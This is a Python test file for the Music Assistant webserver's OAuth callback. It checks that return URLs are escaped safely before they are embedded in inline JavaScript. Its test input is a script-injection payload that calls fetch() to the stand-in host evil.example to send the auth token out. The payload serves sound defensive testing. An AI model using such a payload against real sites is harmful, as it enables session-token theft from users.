/
/
/
1"""Tests for the webserver OAuth callback."""
2
3from __future__ import annotations
4
5from unittest.mock import AsyncMock, patch
6
7from aiohttp import web
8from aiohttp.test_utils import make_mocked_request
9from music_assistant_models.auth import User, UserRole
10
11from music_assistant.controllers.webserver.controller import WebserverController
12from music_assistant.controllers.webserver.helpers.auth_providers import AuthResult
13from music_assistant.helpers.json import json_dumps
14from music_assistant.helpers.redirect_validation import build_code_redirect_url
15from music_assistant.mass import MusicAssistant
16
17
18async def test_auth_callback_serializes_script_values_safely(
19 mass_minimal: MusicAssistant,
20) -> None:
21 """OAuth callback values cannot break out of their JavaScript string literals."""
22 token = "LOCAL_TEST_TOKEN"
23 return_url = (
24 "https://my.home-assistant.io/'</script><script>"
25 "fetch('https://evil.example/steal?t='+token)</script>\"\\\u2028\u2029"
26 )
27 webserver = WebserverController(mass_minimal)
28 mass_minimal.webserver = webserver
29 request = make_mocked_request(
30 "GET",
31 "/auth/callback?code=fakecode&state=fakestate&provider_id=homeassistant",
32 app=web.Application(),
33 )
34
35 with (
36 patch.object(
37 webserver.auth,
38 "handle_oauth_callback",
39 new=AsyncMock(
40 return_value=AuthResult(
41 success=True,
42 user=User(user_id="test", username="test", role=UserRole.USER),
43 return_url=return_url,
44 )
45 ),
46 ),
47 patch.object(webserver.auth, "create_token", new=AsyncMock(return_value=token)),
48 ):
49 response = await webserver._handle_auth_callback(request)
50
51 redirect_url = build_code_redirect_url(return_url, token)
52 safe_redirect_url = (
53 json_dumps(redirect_url)
54 .replace("&", "\\u0026")
55 .replace("<", "\\u003c")
56 .replace(">", "\\u003e")
57 .replace("\u2028", "\\u2028")
58 .replace("\u2029", "\\u2029")
59 )
60 assert response.status == 200
61 assert response.text is not None
62 assert f"const redirectUrl = {safe_redirect_url};" in response.text
63 assert f"const token = {json_dumps(token)};" in response.text
64